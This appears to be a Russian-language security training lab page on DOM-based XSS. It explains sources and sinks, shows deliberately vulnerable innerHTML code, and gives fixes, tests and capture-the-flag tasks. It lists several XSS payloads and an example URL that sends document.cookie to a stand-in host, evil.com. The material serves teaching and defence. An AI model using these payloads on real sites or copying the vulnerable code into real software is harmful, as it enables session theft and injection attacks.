Rostelecom Security Labs

XSS-03: DOM-based XSS

JavaScript читает параметр из URL и вставляет в DOM через innerHTML. Уязвимость полностью на клиенте.

📚 Теория: DOM-based XSS (кликните чтобы развернуть)

1️⃣ Что такое DOM-based XSS?

Простыми словами для разработчика:
Вы пишете JavaScript который берёт данные из URL (или других клиентских источников) и вставляет в DOM через опасные методы типа innerHTML. Сервер НЕ участвует — уязвимость полностью в вашем JS-коде.

💡 Ключевое отличие:

При Reflected XSS сервер отражает payload в HTML-ответе. При DOM XSS сервер возвращает безопасный HTML, но ВАШ JavaScript код берёт данные из URL и создаёт XSS сам!

Где встречается:

  • 📱 Single Page Applications (React, Vue, Angular)
  • 🔍 Клиентский routing (параметры из URL hash)
  • 📊 Динамические dashboard с URL параметрами
  • 🎨 Rich text editors с preview
  • 📈 Analytics tracking (UTM параметры в DOM)

OWASP: A03:2021 - Injection
Статистика: 25% JavaScript приложений уязвимы к DOM XSS (Checkmarx 2023)

📊 Reflected vs DOM XSS

Критерий Reflected XSS DOM-based XSS
Где уязвимость На сервере (backend) В браузере (frontend JS)
Payload в HTTP Виден в response НЕ виден (только в URL)
WAF может блокировать Да (видит payload) Нет (payload в client)
Где искать Server logs, code review backend Browser DevTools, JS code
Сложность детекции Легко (DAST видит) Сложнее (нужен анализ JS)

2️⃣ Как возникает уязвимость (CODE WALKTHROUGH)

🔗
Шаг 1: Злоумышленник создаёт URL
https://site.com/welcome?name=<img src=x onerror=alert(1)>

💡 Payload в параметре name

⬇️
🖥️
Шаг 2: Сервер возвращает БЕЗОПАСНЫЙ HTML
<html>
  <body>
    <div id="welcome"></div>
    <script src="app.js"></script>
  </body>
</html>

✅ Сервер НЕ отражает name — он безопасен!

⬇️
⚙️
Шаг 3: JS код берёт name из URL
// app.js
const params = new URLSearchParams(location.search);
const name = params.get('name');  // Достали payload

// ❌ ОПАСНО: вставляем в DOM через innerHTML
document.getElementById('welcome').innerHTML = 
  '<p>Привет, <strong>' + name + '</strong>!</p>';

❌ Ваш JS код создал XSS!

⬇️
🔥
Шаг 4: Браузер выполняет payload

💣 <img src=x onerror=alert(1)> выполнился!

🚨 Сервер НЕ виноват — это ВАШ JS-код

❌ Уязвимый код (типичная ошибка в SPA)

// welcome.js
function showWelcome() {
  // Source: берём из URL
  const params = new URLSearchParams(window.location.search);
  const username = params.get('name') || 'Guest';
  
  // Sink: опасный метод innerHTML
  document.getElementById('welcome').innerHTML = 
    \`<div class="greeting">
       <h2>Добро пожаловать, \${username}!</h2>
     </div>\`;
}

// ❌ Другие опасные источники:
location.hash           // #param=value
location.href           // полный URL
document.referrer       // откуда пришёл
document.cookie         // может быть изменён JS
postMessage data        // от другого окна

Что думает разработчик:
"Это же клиентский код, сервер безопасен — всё ок!"

Что происходит:

// URL: /welcome?name=<img src=x onerror=fetch('evil.com?c='+document.cookie)>

// DOM после выполнения JS:
<h2>Добро пожаловать, <img src=x onerror=fetch(...)>!</h2>
                          ↑ Браузер выполнит onerror!

3️⃣ Source & Sink: Анатомия DOM XSS

📥 SOURCE (откуда берутся данные):

🔗

URL параметры

location.search  // ?name=value
location.hash    // #param=value  
location.href    // полный URL
location.pathname
📨

postMessage

window.addEventListener('message', e => {
  // ❌ e.data может быть опасным
  doSomething(e.data);
});
🍪

document.cookie

// JS может изменить cookie
document.cookie = "user=<script>";
// ❌ Потом прочитать
const user = getCookie('user');
📝

localStorage/sessionStorage

// Может быть изменён JS
localStorage.setItem('data', '...');
// ❌ Потом использован
const data = localStorage.getItem('data');

📤 SINK (куда вставляются данные):

⚠️

innerHTML / outerHTML

// ❌ ОПАСНО
element.innerHTML = userInput;
element.outerHTML = userInput;
⚠️

document.write

// ❌ ОПАСНО
document.write(userInput);
document.writeln(userInput);
⚠️

eval / Function

// ❌ ОПАСНО
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 100);
⚠️

location / href

// ❌ ОПАСНО (javascript: URL)
location.href = userInput;
window.location = userInput;
a.href = userInput;

4️⃣ Как правильно чинить

✅ Решение #1: Используйте textContent

// ❌ WRONG: innerHTML парсит HTML
element.innerHTML = '<p>Hello, ' + name + '</p>';

// ✅ RIGHT: textContent вставляет как текст
element.textContent = name;

// Если нужна структура:
const p = document.createElement('p');
p.textContent = 'Hello, ' + name;
element.appendChild(p);

✅ Решение #2: Санитизация через DOMPurify

// npm install dompurify
import DOMPurify from 'dompurify';

const params = new URLSearchParams(location.search);
const content = params.get('content');

// ✅ Санитизируем перед вставкой
const clean = DOMPurify.sanitize(content);
element.innerHTML = clean;

✅ Решение #3: Framework auto-escaping

// React (автоматически экранирует)
function Welcome({ name }) {
  return <h1>Hello, {name}</h1>;  // ✅ Безопасно
  // ❌ Опасно: dangerouslySetInnerHTML
}

// Vue (автоматически экранирует)
<template>
  <h1>Hello, {{ name }}</h1>  // ✅ Безопасно
  // ❌ Опасно: v-html="name"
</template>

// Angular (автоматически экранирует)
<h1>Hello, {{ name }}</h1>  // ✅ Безопасно
// ❌ Опасно: [innerHTML]="name"
1
Валидируйте URL параметры
const name = params.get('name');

// ✅ Whitelist допустимых значений
if (!/^[a-zA-Z0-9]+$/.test(name)) {
  name = 'Guest';  // По умолчанию
}
2
Избегайте опасных методов

НЕ используйте:
innerHTML, outerHTML, document.write, eval, setTimeout(string)

Используйте:
textContent, createElement, appendChild, setAttribute

3
Проверяйте postMessage origin
window.addEventListener('message', (e) => {
  // ✅ Проверяем источник
  if (e.origin !== 'https://trusted.com') {
    return;
  }
  
  // ✅ Санитизируем данные
  const clean = DOMPurify.sanitize(e.data);
  element.innerHTML = clean;
});
4
Content Security Policy
// ✅ Блокирует eval и inline scripts
res.setHeader('Content-Security-Policy',
  "script-src 'self'; object-src 'none'");

5️⃣ Как тестировать DOM XSS

Manual Testing (Browser DevTools)

// 1. Откройте DevTools → Sources
// 2. Найдите JS файл с обработкой URL параметров
// 3. Поставьте breakpoint на innerHTML/eval
// 4. Проверьте откуда берутся данные

// Примеры payloads:
?name=<img src=x onerror=alert(1)>
?name=<svg/onload=alert(1)>
#<script>alert(1)</script>
?redirect=javascript:alert(1)

SAST: DOM XSS детекция

// ESLint plugin
// npm install eslint-plugin-no-unsanitized
{
  "plugins": ["no-unsanitized"],
  "rules": {
    "no-unsanitized/method": "error",
    "no-unsanitized/property": "error"
  }
}

// Найдёт:
element.innerHTML = x;  // ❌ Error
element.insertAdjacentHTML('beforeend', x);  // ❌ Error

Unit Test

// tests/dom-xss.test.js
describe('DOM XSS Protection', () => {
  test('textContent используется вместо innerHTML', () => {
    const source = fs.readFileSync('public/app.js', 'utf8');
    
    // Проверяем что нет innerHTML с URL параметрами
    expect(source).not.toMatch(
      /\.innerHTML\s*=.*location\.(search|hash)/
    );
  });
  
  test('URL параметры санитизируются', () => {
    const params = new URLSearchParams('?name=<script>x</script>');
    const name = sanitizeUrlParam(params.get('name'));
    
    expect(name).not.toContain('<script>');
  });
});

6️⃣ Best Practices для DOM XSS

✅ DO (Делайте)

  • Используйте textContent вместо innerHTML
  • Санитизируйте через DOMPurify если нужен HTML
  • Валидируйте URL параметры (whitelist)
  • Используйте framework'и с auto-escaping
  • Включите CSP: script-src 'self'
  • Используйте ESLint no-unsanitized plugin

❌ DON'T (Не делайте)

  • Не используйте innerHTML с URL данными
  • Не используйте eval() или Function()
  • Не доверяйте location.hash без проверки
  • Не используйте document.write()
  • Не делайте setTimeout(string)
  • Не используйте javascript: URLs

Framework-specific защита:

// React - SAFE по умолчанию
<div>{userInput}</div>  // ✅ Auto-escaped
// ❌ DANGER:
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Vue - SAFE по умолчанию  
<div>{{ userInput }}</div>  // ✅ Auto-escaped
// ❌ DANGER:
<div v-html="userInput"></div>

// Angular - SAFE по умолчанию
<div>{{ userInput }}</div>  // ✅ Auto-escaped + sanitizer
// ❌ DANGER:
<div [innerHTML]="userInput"></div>

7️⃣ Практические задания

📝 Задание 1: Найди DOM XSS

  • ✅ Открой https://rtlabs.su/api/xss/welcome в браузере
  • ✅ View Source → найди уязвимую строку с innerHTML
  • ✅ Создай URL с XSS payload
  • ✅ Сними флаг из ответа страницы (он будет в формате FLAG{...})

🔍 Задание 2: Source & Sink анализ

  • Найди SOURCE: откуда берутся данные? (location.search)
  • Найди SINK: куда вставляются? (innerHTML)
  • Проследи data flow: SOURCE → обработка → SINK
  • Определи есть ли санитизация между ними

🛠️ Задание 3: Implement Fix

  • Замени innerHTML на textContent
  • Проверь что XSS больше не работает
  • Напиши unit test для проверки
  • Добавь ESLint правило no-unsanitized

🔬 Задание 4: Code Review Practice

  • Просмотри свой проект — найди все .innerHTML
  • Для каждого определи: безопасный источник или user input?
  • Замени опасные на textContent или DOMPurify
  • Создай чеклист для code review

🎯 Что вы изучили:

  • 🎯 Отличия DOM XSS от серверных XSS
  • 📥 Source'ы: откуда берутся опасные данные
  • 📤 Sink'и: куда они попадают
  • 🛡️ Защита: textContent, DOMPurify, frameworks
  • 🔍 Тестирование: manual, ESLint, unit tests
  • 💼 Production: CSP, best practices, code review

Подсказки

Шаг 1 — открыть страницу с параметром
https://rtlabs.su/api/xss/welcome?name=Alice
Шаг 2 — посмотреть исходный код (View Source)

Найдите строку: element.innerHTML = '<p>Привет, ' + name + '</p>';

Шаг 3 — внедрить XSS
https://rtlabs.su/api/xss/welcome?name=<img src=x onerror=alert(1)>
https://rtlabs.su/api/xss/welcome?name=<svg/onload=alert(1)>

🏆 После выполнения DOM XSS страница покажет флаг в формате FLAG{...}. Используй его для сдачи.

Проверка флага